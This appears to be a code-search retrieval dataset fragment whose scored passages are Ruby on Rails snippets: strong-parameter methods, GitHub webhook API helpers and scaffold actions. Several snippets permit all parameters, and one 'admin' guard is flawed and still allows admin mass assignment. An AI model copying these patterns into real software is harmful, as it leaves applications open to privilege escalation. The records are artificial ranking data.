params.require(:social_network).permit!\n end", "title": "" }, { "docid": "5bdab99069d741cb3414bbd47400babb", "score": "0.5898226", "text": "def filter_params\n params.require(:filters).permit(:letters)\n end", "title": "" }, { "docid": "7c5ee86a81b391c12dc28a6fe333c0a8", "score": "0.589687", "text": "def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end", "title": "" }, { "docid": "de77f0ab5c853b95989bc97c90c68f68", "score": "0.5896091", "text": "def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end", "title": "" }, { "docid": "29d030b36f50179adf03254f7954c362", "score": "0.5894501", "text": "def sensitive_params=(params)\n @sensitive_params = params\n end", "title": "" }, { "docid": "bf321f5f57841bb0f8c872ef765f491f", "score": "0.5894289", "text": "def permit_request_params\n params.permit(:address)\n end", "title": "" }, { "docid": "5186021506f83eb2f6e244d943b19970", "score": "0.5891739", "text": "def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end", "title": "" }, { "docid": "b85a12ab41643078cb8da859e342acd5", "score": "0.58860534", "text": "def secure_params\n params.require(:location).permit(:name)\n end", "title": "" }, { "docid": "46e104db6a3ac3601fe5904e4d5c425c", "score": "0.5882406", "text": "def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end", "title": "" }, { "docid": "abca6170eec412a7337563085a3a4af2", "score": "0.587974", "text": "def question_params\n params.require(:survey_question).permit(question_whitelist)\n end", "title": "" }, { "docid": "26a35c2ace1a305199189db9e03329f1", "score": "0.58738774", "text": "def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end", "title": "" }, { "docid": "de49fd084b37115524e08d6e4caf562d", "score": "0.5869024", "text": "def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end", "title": "" }, { "docid": "7b7ecfcd484357c3ae3897515fd2931d", "score": "0.58679986", "text": "def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end", "title": "" }, { "docid": "0016f219c5d958f9b730e0824eca9c4a", "score": "0.5867561", "text": "def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end", "title": "" }, { "docid": "8aa9e548d99691623d72891f5acc5cdb", "score": "0.5865932", "text": "def url_params\n params[:url].permit(:full)\n end", "title": "" }, { "docid": "c6a8b768bfdeb3cd9ea388cd41acf2c3", "score": "0.5864461", "text": "def backend_user_params\n params.permit!\n end", "title": "" }, { "docid": "be95d72f5776c94cb1a4109682b7b224", "score": "0.58639693", "text": "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend", "title": "" }, { "docid": "967c637f06ec2ba8f24e84f6a19f3cf5", "score": "0.58617616", "text": "def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end", "title": "" }, { "docid": "e4a29797f9bdada732853b2ce3c1d12a", "score": "0.5861436", "text": "def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end", "title": "" }, { "docid": "d14f33ed4a16a55600c556743366c501", "score": "0.5860451", "text": "def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end", "title": "" }, { "docid": "46cb58d8f18fe71db8662f81ed404ed8", "score": "0.58602303", "text": "def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end", "title": "" }, { "docid": "7e9a6d6c90f9973c93c26bcfc373a1b3", "score": "0.5854586", "text": "def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end", "title": "" }, { "docid": "ad61e41ab347cd815d8a7964a4ed7947", "score": "0.58537364", "text": "def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end", "title": "" }, { "docid": "8894a3d0d0ad5122c85b0bf4ce4080a6", "score": "0.5850427", "text": "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end", "title": "" }, { "docid": "53d84ad5aa2c5124fa307752101aced3", "score": "0.5850199", "text": "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end", "title": "" } ]
c150111102a321738dfdf787fd7f0247
List repo hooks Requires authenticated client.
[ { "docid": "aff045528061eed8777089c3f9aa77d0", "score": "0.73785484", "text": "def hooks(repo, options = {})\n paginate \"#{Repository.path repo}/hooks\", options\n end", "title": "" } ]
[ { "docid": "bfe0075334389a85650b87ad119a9cdb", "score": "0.7673314", "text": "def list(user, repo_name)\n\n path = \"/repos/#{user}/#{repo_name}/hooks\"\n\n @connection.get(path).map do |hook_data|\n GitHubV3API::Hook.new(self, hook_data)\n end\n end", "title": "" }, { "docid": "93e8e9f730e6f503c92b7b6631469e9c", "score": "0.7441812", "text": "def hooks(user_name, repo)\n self.class.get(\"/repos/#{user_name}/#{repo}/hooks\", options)\n end", "title": "" }, { "docid": "d81c5b18380c517706109d66183fca4e", "score": "0.70049405", "text": "def hooks(user_name, repo)\n gh.repos(user_name,repo).hooks\n end", "title": "" }, { "docid": "ae7f2ec73b1ad81e1b05e040ab77fbc4", "score": "0.67693096", "text": "def hooks\n @hooks ||= ApiFactory.new 'Repos::Hooks'\n end", "title": "" }, { "docid": "1a1703c4be74bd33b00760ddbe65d35e", "score": "0.65130603", "text": "def hooks(repo, options = T.unsafe(nil)); end", "title": "" }, { "docid": "c60183796be4e8fd3d2633a8055bd4f4", "score": "0.64948946", "text": "def hooks\n @hooks||=[]\n @hooks\n end", "title": "" }, { "docid": "09f77aa7ad84554354c2d86db6c402ef", "score": "0.6492712", "text": "def hooks\n @hooks ||= []\n end", "title": "" }, { "docid": "09f77aa7ad84554354c2d86db6c402ef", "score": "0.6492712", "text": "def hooks\n @hooks ||= []\n end", "title": "" }, { "docid": "09f77aa7ad84554354c2d86db6c402ef", "score": "0.6492712", "text": "def hooks\n @hooks ||= []\n end", "title": "" }, { "docid": "7a6e7bbdaadb132449212f86eaefe8bb", "score": "0.64506483", "text": "def get(user, repo_name, id)\n hook_data = @connection.get(\"/repos/#{user}/#{repo_name}/hooks/#{id.to_s}\")\n GitHubV3API::Hook.new_with_all_data(self, hook_data)\n rescue RestClient::ResourceNotFound\n raise NotFound, \"The hook #{user}/#{repo_name}/hooks/#{id} does not exist or is not visible to the user.\"\n end", "title": "" }, { "docid": "5a857cc3545f6d5b94cbe7258a718288", "score": "0.6442955", "text": "def list()\n _params = {}\n return @master.call 'webhooks/list', _params\n end", "title": "" }, { "docid": "7ab38c200aca6d86a74902b03784e7b4", "score": "0.64288545", "text": "def hooks\n []\n end", "title": "" }, { "docid": "7eb019b1681cbff936815ce3dda43c93", "score": "0.6421518", "text": "def hooks\n @hooks\n end", "title": "" }, { "docid": "99daefde95c93d956b543801d9ea7b70", "score": "0.6370072", "text": "def list_webhooks\n response = EasyRequest::get(@client.deploy_uri+'webhooks/stores/', get_auth())\n\n Factory::get_instance_of 'ListWebhooks', response\n end", "title": "" }, { "docid": "dc229ddbe208fdb76a85d017802a2e92", "score": "0.63699704", "text": "def index\n @hooks = Hook.all\n end", "title": "" }, { "docid": "dc229ddbe208fdb76a85d017802a2e92", "score": "0.63699704", "text": "def index\n @hooks = Hook.all\n end", "title": "" }, { "docid": "d50c23e86d6ea8cb4f1d0878867ee2c9", "score": "0.63520545", "text": "def hook(repo, id, options = {})\n get \"#{Repository.path repo}/hooks/#{id}\", options\n end", "title": "" }, { "docid": "9326f2e6a0c3747af30e1cfc4aac4c3d", "score": "0.63030314", "text": "def hooks_for_repo(repo_slug)\n get_and_map(\"#{BB_API1_BASE}/repositories/#{@user}/#{repo_slug}/services\")\n end", "title": "" }, { "docid": "00822730dc1e0381eef4583b41360500", "score": "0.6302254", "text": "def list_org_hooks(org, options = T.unsafe(nil)); end", "title": "" }, { "docid": "813e058c1710926e8df2b7af2d6d575d", "score": "0.6245498", "text": "def repos\n api.list_repos(login)\n end", "title": "" }, { "docid": "edc43540d14148841d1ca0486bf64687", "score": "0.6197305", "text": "def list_statuses(repo, sha, options = T.unsafe(nil)); end", "title": "" }, { "docid": "218c6fbe003e0072c4d6c6e9fcd807ff", "score": "0.61647093", "text": "def hooks\n @hooks ||= Hooks.new\n end", "title": "" }, { "docid": "f5fec9e799d57cfdab748f80ca9eb2c8", "score": "0.6150498", "text": "def list(*args)\n arguments(args, required: [:user, :repo])\n params = arguments.params\n user = arguments.user\n repo = arguments.repo\n\n response = if (ref = params.delete('ref'))\n formatted_ref = validate_reference ref\n get_request(\"/repos/#{user}/#{repo}/git/#{formatted_ref}\", params)\n else\n get_request(\"/repos/#{user}/#{repo}/git/refs\", params)\n end\n return response unless block_given?\n response.each { |el| yield el }\n end", "title": "" }, { "docid": "43f09a83c464f8079b7c89b89837badc", "score": "0.60790163", "text": "def hooks\n @hooks ||= {}\n @hooks\n end", "title": "" }, { "docid": "30f73f3e0023c2a8a76909352aa76387", "score": "0.60431373", "text": "def hooks\n @lock.synchronize{ @hooks.dup }\n end", "title": "" }, { "docid": "afa3a7380fcf388b9dd15c5908550cad", "score": "0.603746", "text": "def get_list_lib\n JSON.parse(curl_get(\"repos/\").body_str)\n end", "title": "" }, { "docid": "cfbe4f0961ceff91e40cf32e22f4943d", "score": "0.60342985", "text": "def hooks\n @hooks ||= {}\n end", "title": "" }, { "docid": "cfbe4f0961ceff91e40cf32e22f4943d", "score": "0.60342985", "text": "def hooks\n @hooks ||= {}\n end", "title": "" }, { "docid": "cfbe4f0961ceff91e40cf32e22f4943d", "score": "0.60342985", "text": "def hooks\n @hooks ||= {}\n end", "title": "" }, { "docid": "bf3e8d3e7a3584bd1e3b29138ff34b76", "score": "0.6029535", "text": "def list_repos()\n @index.each do |r|\n puts r.path\n end\n end", "title": "" }, { "docid": "529953db9f75a55b8f3d49c4c5d39fe7", "score": "0.6009595", "text": "def hooks\n @hooks ||= {}\n end", "title": "" }, { "docid": "66f47101e19c2ea983eee0b340f40d34", "score": "0.5994559", "text": "def list_refs(repo, namespace = T.unsafe(nil), options = T.unsafe(nil)); end", "title": "" }, { "docid": "7e9304536d95b7a08e0f715cd33eb871", "score": "0.5992881", "text": "def index\n\t\t@hooks_constants = HooksConstant.all\n\tend", "title": "" }, { "docid": "7d113acbcb1c8d4dd7b839fed3a8a220", "score": "0.59289455", "text": "def get(*args)\n arguments(args, required: [:org_name, :id])\n\n get_request(\"/orgs/#{arguments.org_name}/hooks/#{arguments.id}\",\n arguments.params)\n end", "title": "" }, { "docid": "d9fc93dcfa038dd47cf4b0db474cee70", "score": "0.5910074", "text": "def index\n# @hooks = Hook.all\n end", "title": "" }, { "docid": "09e83531431871dc142e64f15d0ab7d0", "score": "0.5885665", "text": "def list_repos\n out = runcmd 'aptly repo list'\n parse_list out.lines\n end", "title": "" }, { "docid": "54384e95f2e8230e7bf24507eece885c", "score": "0.58818364", "text": "def hooks(name = nil)\n if name\n (@hooks && @hooks[name]) || []\n else\n @hooks || {}\n end\n end", "title": "" }, { "docid": "19ee09c3d719cd38dde870af053a0568", "score": "0.58715445", "text": "def project_hooks(project, options = {})\n paginate \"#{Project.path(project)}/hooks\", options\n end", "title": "" }, { "docid": "f02c32f8c5a17421f8ef5363b0be96fa", "score": "0.585037", "text": "def project_hooks(project, options = {})\n get(\"/projects/#{url_encode project}/hooks\", query: options)\n end", "title": "" }, { "docid": "c87251cdde0ffef2b2f830042ff123cb", "score": "0.5831409", "text": "def repos\n github_action do\n next client.repos({}, query: { sort: \"asc\" })\n end\n end", "title": "" }, { "docid": "f964c987c379fea55277a170665c5e9e", "score": "0.58101743", "text": "def list\n @client.call(method: :get, path: 'relay-webhooks')\n end", "title": "" }, { "docid": "3e2bd07381191b1591295d98c7958be2", "score": "0.5806416", "text": "def get(user_name, repo_name, hook_id, params={})\n _update_user_repo_params(user_name, repo_name)\n _validate_user_repo_params(user, repo) unless user? && repo?\n _validate_presence_of(hook_id)\n normalize! params\n\n get_request(\"/2.0/repositories/#{user}/#{repo.downcase}/hooks/#{hook_id}\", params)\n end", "title": "" }, { "docid": "798d926af999562457515b25abcdd325", "score": "0.57861835", "text": "def hooks\n # TODO\n end", "title": "" }, { "docid": "b24fec9ba6817f4123d91e6866dcc8b2", "score": "0.5778642", "text": "def list(addon_id_or_addon_name)\n @client.addon_webhook.list(addon_id_or_addon_name)\n end", "title": "" }, { "docid": "6ad77db652c602cde43946e2657ce92c", "score": "0.57650584", "text": "def index\n @incoming_hooks = IncomingHook.all\n end", "title": "" }, { "docid": "70dd83363a23747f9acbb20c479a1bae", "score": "0.5758562", "text": "def list_references(repo, namespace = T.unsafe(nil), options = T.unsafe(nil)); end", "title": "" }, { "docid": "b72a48452ed4ac6ab56c09844d8a7a6a", "score": "0.57580787", "text": "def list(*args)\n arguments(args, required: [:user, :repo], optional: [:state])\n params = arguments.params\n user = arguments.user\n repo = arguments.repo\n\n params['state'] ||= 'OPEN'\n # Bitbucket requires the state to be all caps or it returns all\n params['state'] = params['state'].upcase\n\n response = get_request(\"/repositories/#{user}/#{repo}/pullrequests/\", params)\n\n return response unless block_given?\n response.each { |el| yield el }\n end", "title": "" }, { "docid": "c09f431b1cb4e197444266b6c9f19228", "score": "0.57485855", "text": "def list\n msg \"Available .gitignore snippets:\", 1\n puts table(fetch())\n end", "title": "" }, { "docid": "79769252b3140a310dec19f82c03e35c", "score": "0.572356", "text": "def index\n @hookups = Hookup.all\n end", "title": "" }, { "docid": "f3a4982c09ff155f22e2b98c94f24fda", "score": "0.57164377", "text": "def hook(id)\n get(\"/hooks/#{id}\")\n end", "title": "" }, { "docid": "6910a3342d6556ad5bf4aeb06f3d0448", "score": "0.5701358", "text": "def hooks\n @_hooks ||= default_hooks\n end", "title": "" }, { "docid": "03d566a3ce3e52e8e686c5d5adeddb4a", "score": "0.5689518", "text": "def hook_methods\n @hook_methods ||= []\n end", "title": "" }, { "docid": "529cd42d72a5053b0065df14c52c580b", "score": "0.5675043", "text": "def list(repo_id, importer_type)\n call(:get, path(repo_id, importer_type))\n end", "title": "" }, { "docid": "d343d92694271df17b2922becf411620", "score": "0.5661428", "text": "def locate_hooks\n hooks = []\n\n matching_hooks.each do |hook|\n hooks << hook if File.exist? hook\n end\n\n hooks\n end", "title": "" }, { "docid": "e41a8295e403c6ba315e50f119b74d75", "score": "0.56511986", "text": "def org_hooks(org, options = {})\n paginate \"#{Organization.path org}/hooks\", options\n end", "title": "" }, { "docid": "846f722fa2f49a69e00a41dc3f70770f", "score": "0.56387514", "text": "def hooks(name = nil)\n end", "title": "" }, { "docid": "54b8073078b6860f66c0ebf0776f6d03", "score": "0.5634142", "text": "def hooks(name)\n @hooks[name]\n end", "title": "" }, { "docid": "788da9866a32c6f4d2c86df8ab2b3268", "score": "0.5619392", "text": "def statuses(repo, sha, options = T.unsafe(nil)); end", "title": "" }, { "docid": "a555026042f6c3cba5af3483a4d23f3b", "score": "0.5587253", "text": "def hook(repo, id, options = T.unsafe(nil)); end", "title": "" }, { "docid": "e65920c929c20f95dd6c907e44e820d7", "score": "0.55806804", "text": "def list_repos(user=nil)\n @github.repos.list(sort: \"updated\", user: user).first(10)\n end", "title": "" }, { "docid": "1f19d983d5d6bf666027937a4124c960", "score": "0.5575811", "text": "def server_hooks\n @server_hooks\n end", "title": "" }, { "docid": "8337bd7c159607b579a98ed62430afb3", "score": "0.5562177", "text": "def project_hook(project, hook_id, options = {})\n paginate \"#{Project.path(project)}/hooks/#{hook_id}\", options\n end", "title": "" }, { "docid": "6364604672248ce0cd72036718cc82eb", "score": "0.55210954", "text": "def list()\n @client.addon.list()\n end", "title": "" }, { "docid": "2b1857b7535fbea1abc3a24683e0b764", "score": "0.5515649", "text": "def index\n @list = @github&.repos&.list\n end", "title": "" }, { "docid": "ea33445c599844af51d3eeac8fd48c3b", "score": "0.5515074", "text": "def acquire_repo_list\n set_auth\n set_github_repo_name\n @repo_list = []\n (@github.repos.list org: GITHUB_ORG).each do |l|\n @repo_list << l[:name]\n end\nend", "title": "" }, { "docid": "5d031fbc4b6c21ae3ff38f08765878bd", "score": "0.54921275", "text": "def hooks=(list)\n if list.class == Array\n list = List.new(list)\n list.each_with_index do |value, index|\n if value.is_a?(Hash)\n list[index] = Hook.new(value)\n end\n end\n end\n @hooks = list\n end", "title": "" }, { "docid": "2bc399562a732143003dfc42a0772f85", "score": "0.54919964", "text": "def webhooks(list_id)\n call(\"listWebhooks\", list_id)\n end", "title": "" }, { "docid": "5af3ff8ad461042b4c5bfbe387fa833c", "score": "0.5488957", "text": "def hooks #:nodoc:\n @hooks ||= Hash.new {|h, k| h[k] = []}\n end", "title": "" }, { "docid": "746e5a129c1f8a6079a96fd2922a6634", "score": "0.54783034", "text": "def webhooks_list(project_id, opts = {})\n data, _status_code, _headers = webhooks_list_with_http_info(project_id, opts)\n data\n end", "title": "" }, { "docid": "f44da46cb1aa76a688e4e392d120ea61", "score": "0.5474246", "text": "def repos\n client.repos(user: client.user, query: {type: \"owner\", sort: \"asc\"})\n end", "title": "" }, { "docid": "00aaf86d4a3218070428fccc40fd3803", "score": "0.5472754", "text": "def list(options = {})\n opts = options.clone\n opts.delete(:owner)\n\n get_path(\n path_to_list(options),\n opts,\n get_parser(:collection, Tinybucket::Model::Repository)\n )\n end", "title": "" }, { "docid": "fc7641d80202faf42629ce7c1c8b37d4", "score": "0.5472466", "text": "def count\n hooks.count\n end", "title": "" }, { "docid": "2277916696412a0201fa874fddb8b329", "score": "0.54395694", "text": "def list(addon_id_or_addon_name)\n @client.addon_webhook_event.list(addon_id_or_addon_name)\n end", "title": "" }, { "docid": "4460606ca147ac070d8406eece7a7d32", "score": "0.53990054", "text": "def repos\n Git.repo_hash\n end", "title": "" }, { "docid": "4460606ca147ac070d8406eece7a7d32", "score": "0.53990054", "text": "def repos\n Git.repo_hash\n end", "title": "" }, { "docid": "10824c1370699088fce88f5cedbdddbf", "score": "0.5396714", "text": "def index\n @cup_hooks = CupHook.all\n end", "title": "" }, { "docid": "c508f193d65c2a53ba999b9d1a8b96fb", "score": "0.53934324", "text": "def webhooks_list(opts = {})\n data, _status_code, _headers = webhooks_list_with_http_info(opts)\n data\n end", "title": "" }, { "docid": "526dc62d2646151e854d3eea58a5798b", "score": "0.53906924", "text": "def get_lib_history(repo_id)\n JSON.parse(curl_get(\"repos/#{repo_id}/history/\").body_str)\n end", "title": "" }, { "docid": "8b94bc2febcf59ea85c0465117e9ffba", "score": "0.53901863", "text": "def get_user_repos\n url = URI(\"#{$api}/user/repos\")\n response = git_api_response(url)\n if response.kind_of? Net::HTTPSuccess\n user_repos = JSON.parse(response.body)\n user_repos.each do |repo|\n repo_url = repo['html_url']\n $repos_urls << repo_url\n end\n else\n puts \"Could not get user repos.\"\n exit 1\n end\nend", "title": "" }, { "docid": "51740421a656d4fff7c972442d059513", "score": "0.5388138", "text": "def index\n @repos = Repo.all\n end", "title": "" }, { "docid": "51740421a656d4fff7c972442d059513", "score": "0.5388138", "text": "def index\n @repos = Repo.all\n end", "title": "" }, { "docid": "47c341033b0d1206dab141b340fd888b", "score": "0.5387864", "text": "def hooks_service\n @hooks_service ||= HostHooksService.new(self, 'hooks')\n end", "title": "" }, { "docid": "692282ddf4fb0454e63e21b65abd1899", "score": "0.5386579", "text": "def hooked_methods\n @hooked_methods ||= []\n end", "title": "" }, { "docid": "692282ddf4fb0454e63e21b65abd1899", "score": "0.5386579", "text": "def hooked_methods\n @hooked_methods ||= []\n end", "title": "" }, { "docid": "d6ffe64b2fd6f869472aa2a769f9d1d6", "score": "0.53680587", "text": "def gluster_hooks\n @gluster_hooks\n end", "title": "" }, { "docid": "5c6c32d0b245b39366a723adbd8092ce", "score": "0.5366878", "text": "def list_repositories\n JSON.parse(github[\"users/#{@organization}/repos?sort=updated&direction=desc\"].get.body)\n end", "title": "" }, { "docid": "3de38205bb6ddeeb8cc1f2f28de00884", "score": "0.5326473", "text": "def load\n @logger.info('Loading Hooks...')\n\n HEMHook::HOOK_TYPES.each do |type|\n @hooks[type] = {}\n end\n\n hook_pool = OpenNebula::HookPool.new(@client)\n rc = nil\n\n RETRIES.times do\n rc = hook_pool.info\n break unless OpenNebula.is_error?(rc)\n\n sleep 0.5\n end\n\n if OpenNebula.is_error?(rc)\n @logger.error(\"Cannot get hook information: #{rc.message}\")\n return\n end\n\n hook_pool.each do |hook|\n hook.extend(HEMHook)\n\n if !hook.valid?\n @logger.error(\"Error loading hooks. Invalid type: #{hook.type}\")\n next\n end\n\n key = hook.key\n\n @hooks[hook.type][key] = [] unless @hooks[hook.type].key?(key)\n @hooks[hook.type][key].push(hook.id) \\\n unless @hooks[hook.type][key].include?(hook.id)\n @hooks_id[hook.id] = hook\n @filters[hook.id] = hook.filter(key)\n end\n\n @logger.info('Hooks successfully loaded')\n end", "title": "" }, { "docid": "c996d2c766a46c91bcffea43f01d798e", "score": "0.5326128", "text": "def fetch_repositories\n client.repositories\n end", "title": "" }, { "docid": "fd66c2be56838827f93e2626dc4244ef", "score": "0.5317201", "text": "def repositories\n get_request(\"/1.0/user/repositories\")\n end", "title": "" }, { "docid": "437144d8c0d8b345738ded086a6c9b1f", "score": "0.5309665", "text": "def list_git_repos(root = \"~/\")\n `find #{root} -name .git -type d`.split(\"\\n\")\nend", "title": "" }, { "docid": "8becc197e9e7f8881702ccb917002d30", "score": "0.5307706", "text": "def load_hooks\n require \"overcommit/hook/#{@context.hook_type_name}/base\"\n\n load_builtin_hooks\n load_hook_plugins # Load after so they can subclass/modify existing hooks\n end", "title": "" }, { "docid": "d258c7ed011d506023f167b95abcbf6e", "score": "0.530631", "text": "def list\n unless File.file?(@@credentials_file)\n login unless ENV['api_key']\n end\n display_gem_info(true, options[:dependencies])\n end", "title": "" }, { "docid": "b40f3cfadf3658e80f10af887421cf78", "score": "0.53055596", "text": "def printRepos()\n repos = $client.repos()\n for repo in repos\n puts repo.full_name\n end\nend", "title": "" }, { "docid": "b8e8a9fc6d8e14ecb37f006d69166aeb", "score": "0.53033197", "text": "def get_guild_webhooks(guild_id)\n response = request(\n :guilds_gid_webhooks, guild_id,\n :get,\n \"guilds/#{guild_id}/webhooks\"\n )\n Rapture::Webhook.from_json_array(response.body)\n end", "title": "" }, { "docid": "0aa16ffee8d7de28b3a390ed3fe995f9", "score": "0.5290118", "text": "def project_hook(project, id)\n get(\"/projects/#{url_encode project}/hooks/#{id}\")\n end", "title": "" }, { "docid": "8c4897fc17183649160d7193f9945d9c", "score": "0.5273927", "text": "def repos\n raise AuthError, 'No auth token present' if @login.nil?\n res = self.class.get('/repos/')\n if res and res.parsed_response.is_a? Array\n return res.parsed_response\n elsif res.code == 403\n elsif res.code == 403 or res.code == 401\n logger.debug res.inspect\n raise AuthError, 'Invalid credentials in repos.'\n else\n logger.debug res.inspect\n raise PermanentError, 'Connection error in repos.'\n end\n end", "title": "" }, { "docid": "bfcf2374a058f17a2d7fc70ef93022e8", "score": "0.52689224", "text": "def webhooks_list(project_id, page, per_page)\n path = sprintf(\"/api/v2/projects/%s/webhooks\", project_id)\n data_hash = {}\n post_body = nil\n \n reqHelper = PhraseApp::ParamsHelpers::BodyTypeHelper.new(data_hash, post_body)\n rc, err = PhraseApp.send_request_paginated(@credentials, \"GET\", path, reqHelper.ctype, reqHelper.body, 200, page, per_page)\n if err != nil\n return nil, err\n end\n \n return JSON.load(rc.body).map { |item| PhraseApp::ResponseObjects::Webhook.new(item) }, err\n end", "title": "" }, { "docid": "d4dd8da0914776c03113767fd9215556", "score": "0.5266456", "text": "def action_hooks(hook_name)\n result = []\n\n @registered.each do |plugin|\n result += plugin.components.action_hooks[Plugin::ALL_ACTIONS]\n result += plugin.components.action_hooks[hook_name]\n end\n\n result\n end", "title": "" }, { "docid": "16a675d46289c4c22327a7ffdab84137", "score": "0.5263222", "text": "def clear_hooks(repo)\n\t path = Golem::Config.repository_path(repo)\n\t Dir.entries(path + \"/hooks\").each do |hook|\n\t\thook_src = path + \"/hooks/\" + hook\n\t\tFile.delete(hook_src) if File.symlink?(hook_src) && ! File.file?(hook_src)\n\t\tnext unless File.file?(hook_src) && File.stat(hook_src).executable? && hook[0..0] != \".\"\n\t\tFile.delete(hook_src)\n\t\tprint \"Hook removed from #{hook_src}.\\n\" if verbose?\n\t end\n\tend", "title": "" }, { "docid": "7aa2107e18cf28e64fb799869fa1377e", "score": "0.5262537", "text": "def repo_tags\n @owner = Owner.first!(params[:login])\n @repo = Repo.first!(\"#{params[:repo_login]}/#{params[:repo_name]}\")\n render :json => @owner.taylor_get(:tags, :via => @repo).map {|name| Tag.new(:name => name) }\n end", "title": "" } ]
5b3e56468067c8e57ab877e2c2c3ca02
GET /brands/new GET /brands/new.json
[ { "docid": "90f7340f01f14e6d85137224e2fea156", "score": "0.7917945", "text": "def new\n @brand = Brand.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @brand }\n end\n end", "title": "" } ]
[ { "docid": "2433a7bcf12bc3301765aa21647972d0", "score": "0.7865956", "text": "def new\r\n @brand = Brand.new\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.json { render json: @brand }\r\n end\r\n end", "title": "" }, { "docid": "6d59ba98ddbb6945364567111beeaa0b", "score": "0.7723971", "text": "def new\n @brandlist = Brandlist.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @brandlist }\n end\n end", "title": "" }, { "docid": "606475d912b484ffb1075476b34a95c5", "score": "0.7376799", "text": "def new\n @title = t('view.banks.new_title')\n @bank = Bank.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bank }\n end\n end", "title": "" }, { "docid": "3c16d19607631472d4e8efc72fb1cb4b", "score": "0.7355139", "text": "def new\n @breadcrumb = 'create'\n @bank = Bank.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bank }\n end\n end", "title": "" }, { "docid": "02f27b9b7abf1f5b43f2c093ff9c0aa0", "score": "0.7345705", "text": "def new\n @boat = Boat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json {render json: @boat}\n end\n end", "title": "" }, { "docid": "6c68ac0d089e361dbd514fff28f337f8", "score": "0.7345214", "text": "def new\n @brand_category = BrandCategory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @brand_category }\n end\n end", "title": "" }, { "docid": "f607a29fca4bdaba2f3d8a9682e0bd05", "score": "0.73065436", "text": "def new\n @bid = Bid.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bid }\n end\n end", "title": "" }, { "docid": "f607a29fca4bdaba2f3d8a9682e0bd05", "score": "0.73065436", "text": "def new\n @bid = Bid.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bid }\n end\n end", "title": "" }, { "docid": "4364103cfef6b06437e89c58fa29d575", "score": "0.7293784", "text": "def new\n @bruschettum = Bruschettum.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bruschettum }\n end\n end", "title": "" }, { "docid": "4616a64e6fb5f8da117eeb6cf0778d9a", "score": "0.72405356", "text": "def new\n @breed = Breed.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @breed }\n end\n end", "title": "" }, { "docid": "bdb9d6f9f1d83a43af0bbe72dacf2d0b", "score": "0.72222316", "text": "def new\n @basin = Basin.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @basin }\n end\n end", "title": "" }, { "docid": "21e18b6f04c5cf0b6bddf962fda60761", "score": "0.7214548", "text": "def new\n @brain = Brain.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @brain }\n end\n end", "title": "" }, { "docid": "34e6eae2db42604d055326a848400786", "score": "0.7212579", "text": "def new\n @brand = Brand.new\n\n respond_to do |format|\n format.html # new.html.erb\n end\n end", "title": "" }, { "docid": "72cedc2c567a8f38e05f649008f0ec44", "score": "0.721041", "text": "def new\n @model = Model.new\n @brands = Brand.all\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @model }\n end\n end", "title": "" }, { "docid": "35f4a87dfad90a6932cd1bf35f8559cb", "score": "0.72061515", "text": "def new\n @bagtype = Bagtype.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bagtype }\n end\n end", "title": "" }, { "docid": "8bb41100b20b67ced367e683c3b8ce02", "score": "0.71911794", "text": "def new\n @broad = Broad.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @broad }\n end\n end", "title": "" }, { "docid": "e9916d975c54f2be2f9a3d8e00e249ac", "score": "0.718996", "text": "def new\n @brend = Brend.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @brend }\n end\n end", "title": "" }, { "docid": "7253b77de212e50527a4d576e0274ee0", "score": "0.7177738", "text": "def new\n @banda = Banda.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @banda }\n end\n end", "title": "" }, { "docid": "a471e6df10bf8d5f0ad13dd7fe9f94ef", "score": "0.7138838", "text": "def new\n @brand = Brand.new\n\n respond_to do |format|\n format.html { render layout: \"editor\" }\n format.json { render json: @brand }\n end\n end", "title": "" }, { "docid": "5b8c8fc7bea1f45db055e7006a8c31a3", "score": "0.7137781", "text": "def new\n @borrow = Borrow.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @borrow }\n 